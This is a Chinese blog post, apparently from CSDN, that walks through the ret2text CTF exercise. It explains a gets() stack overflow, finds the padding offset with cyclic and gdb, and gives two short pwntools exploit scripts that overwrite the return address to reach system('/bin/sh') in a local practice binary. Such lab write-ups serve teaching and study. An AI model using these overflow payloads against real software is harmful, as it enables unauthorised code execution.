2019.7.19 dev c++调试与ret2text详解

30/100 发布文章 1.dev c++如何调试:请参考以下链接
①https://jingyan.baidu.com/article/f54ae2fc4b680b1e92b84930.html
②https://www.jianshu.com/p/1602264dadf2
2.ret2text详解:法1:

esp+1ch:意思是S到栈顶的距离是1ch,ebp-64h:意思是S到栈顶的距离是64h。
在这里插入图片描述
一般的出现gets(&s)就可以等价于出现栈溢出,出现printf家族且没有限制其输出就伴随着格式化字符串漏洞,例如:printf(&a)。
在这里插入图片描述
通过搜索字符串可以发现反汇编程序的源码中有system(’/bin/sh’),我们可以将其地址覆盖返回地址。需要填充的是s的栈空间加ebp所占的空间:64h+4。但此题有点特殊用IDA静态调试得不到shell,我们需要用动态调试。我的上一篇博客有gdb动态调试的资料。
在这里插入图片描述
⑤一下是exp

# -*- coding:utf-8 -*-
from pwn import *
p = process("./ret2text")
payload= 'a'*(0x6c+4)+p32(0x0804863A) #将返回地址转化
p.recvline()
p.sendline(payload)
p.interactive()

⑥法二:
详解参考:https://blog.csdn.net/sanorintea/article/details/82288959
⑦主要思想是在程序外面通过cyclic ***生成一段有序数,通过gdb运行程序,把这段有序数复制粘贴过去。因为我们的程序不能跳转到我们覆盖的返回地址的新返回地址。程序就会在此处报错,并将新的返回地址提示出来。这里新的返回地址使我们复制的有序数,它是字符转化为ASCII然后转化为十六进制存储在栈里,所以我们需要将这个地址转化为ASCII值,然后在程序外面运行
cyclic -l 0x62616164 ,其结果就是我们要填充的。
在这里插入图片描述
⑨本人觉得如果不出现这个新地址,可以再手动输入很多字符来实现栈溢出,因为cyclic生成的有序字符其对应的十六进制数可能有对应的地址和其对应。
⑩这里的112是s和ebp的总和,所以这里就不需要再另外加ebp了。
⑪其exp为:

 # -*- coding:utf-8 -*-
    from pwn import *
    p = process("./ret2text")
    payload= 'a'*(112)+p32(0x0804863A) #将返回地址转化
    p.recvline()
    p.sendline(payload)
    p.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值